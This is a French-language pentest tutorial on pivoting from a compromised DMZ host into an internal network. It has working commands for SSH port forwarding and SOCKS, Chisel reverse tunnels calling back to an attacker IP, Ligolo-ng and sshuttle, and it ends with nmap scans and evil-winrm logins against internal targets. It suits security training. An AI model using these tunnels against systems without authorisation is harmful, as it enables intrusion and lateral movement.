Le pivoting, c’est l’art d’utiliser une machine compromise pour atteindre un réseau qu’on ne pouvait pas voir depuis l’extérieur. Sur un engagement, le premier accès est rarement la cible — il faut traverser des DMZ, des sous-réseaux internes, des segments isolés. Bien maîtriser ses tunnels, c’est ce qui permet de continuer à attaquer profondément.

Le scénario type§

   ATTAQUANT                                              CIBLE FINALE
   10.0.0.100                                             10.10.10.5
       │                                                     ▲
       │                                                     │
       ▼                                                     │
   ┌─────────┐         ┌──────────┐         ┌───────────────┘
   │ Internet │ ────►  │ DMZ      │ ────►   │  Réseau interne
   └─────────┘         │ Web app  │         │  (invisible de
                       │ 1.2.3.4  │         │   l'extérieur)
                       │ pivot    │         │
                       └──────────┘         │
                            │               │
                            ▲               │
                            │               │
                       Shell obtenu via     │
                       l'exploit web        │

Sans pivoting, on est bloqué sur le pivot. Avec, ton Kali envoie des paquets dans le réseau interne comme si tu y étais branché.

Trois familles de techniques§

                  Pivoting / Tunneling

        ┌─────────────────┼─────────────────┐
        ▼                 ▼                 ▼
   Port forwarding    SOCKS proxy      VPN-like tunnel
   (un port à la fois)  (tout port)     (route IP complète)
        │                 │                 │
   ssh -L              ssh -D            Ligolo-ng
   ssh -R              chisel R:socks    sshuttle
   chisel local-fw     proxychains

Le choix dépend du contexte : un seul service à atteindre → port forward. Tout un sous-réseau à scanner → SOCKS ou VPN-like.

SSH Tunneling§

Si SSH est utilisable sur le pivot, c’est l’outil de choix : déjà présent, chiffré, discret.

Local port forwarding (-L)§

“Expose un port distant sur ma machine locale.”

   Attaquant                                      Pivot          Cible interne
                                                                  10.10.10.5:80
   localhost:8080  ──── tunnel SSH ────►  user@pivot  ──────►
        ▲                                                          │
        │                                                          │
        └──────────────────── réponse ─────────────────────────────┘
ssh -L 8080:10.10.10.5:80 user@pivot

# Sur ta machine
curl http://localhost:8080    # → arrive sur 10.10.10.5:80 via le pivot

Remote port forwarding (-R)§

“Expose un port local sur le pivot.” Utile quand le pivot peut atteindre l’attaquant mais l’inverse ferait franchir un firewall.

# Sur l'attaquant
ssh -R 4444:localhost:4444 user@pivot
# Sur le pivot, n'importe qui peut se connecter à pivot:4444 → reverse vers ton :4444

Dynamic SOCKS proxy (-D)§

Le plus puissant — un proxy SOCKS5 sur ta machine, et tout ce qui passe par lui sort par le pivot.

ssh -D 9050 user@pivot

# Configurer proxychains
sudo nano /etc/proxychains4.conf
# Ajouter : socks5 127.0.0.1 9050

# Tout outil routé via le pivot
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.5 -u user -p pass
proxychains curl http://10.10.10.5

Limite SOCKS : pas d’ICMP. Donc pas de ping, pas de scan -sn nmap. Toujours -sT -Pn à travers proxychains.

Chisel§

Quand SSH n’est pas dispo (Windows sans OpenSSH, restrictions firewall), Chisel fait passer un tunnel sur HTTP/WebSocket. Binaire unique, multi-plateforme.

# Sur l'attaquant (serveur)
./chisel server --reverse -p 8000

# Sur le pivot (client) — créer un SOCKS proxy reverse
./chisel client 10.0.0.100:8000 R:1080:socks
# → SOCKS sur ton localhost:1080

# Sur le pivot — port forward classique
./chisel client 10.0.0.100:8000 R:8080:10.10.10.5:80
# → ton localhost:8080 = 10.10.10.5:80

R: = reverse (le pivot vient vers toi, contourne firewall sortant moins strict).

Ligolo-ng§

Le pivoting moderne le plus pratique : crée une vraie interface réseau virtuelle sur l’attaquant. Pas de proxychains, pas de SOCKS — tu utilises tes outils normalement.

# Sur l'attaquant — setup initial (une fois)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Lancer le serveur
./proxy -selfcert

# Sur le pivot
./agent -connect 10.0.0.100:11601 -ignore-cert

# Dans l'interface proxy
session                                  # sélectionner la session
ifconfig                                 # voir les interfaces du pivot
sudo ip route add 10.10.10.0/24 dev ligolo   # router le sous-réseau interne via ligolo
start                                    # démarrer le tunnel

# Maintenant tes outils marchent normalement
nmap 10.10.10.0/24
evil-winrm -i 10.10.10.5 -u user -p pass

Avantage majeur : ICMP fonctionne, tu peux pinger, scanner -sn, faire du UDP — exactement comme si tu étais sur le réseau.

sshuttle§

Le pivoting “lazy” pour quand SSH est dispo. Une commande, et tout le trafic vers un sous-réseau passe par le pivot.

sshuttle -r user@pivot 10.10.10.0/24

# Maintenant
nmap 10.10.10.5
ssh [email protected]

Limite : nécessite Python sur le pivot, et root sur ta machine (pour modifier la table de routage).

Tableau de décision§

SituationOutil recommandé
SSH dispo, un seul port à atteindressh -L
SSH dispo, plusieurs ports / scan completsshuttle ou ssh -D
Pas de SSH, Windowschisel R:socks
Besoin de scan ICMP, UDP, performanceLigolo-ng
Tunnel inverse (firewall sortant strict)-R ou Chisel reverse

Pièges courants§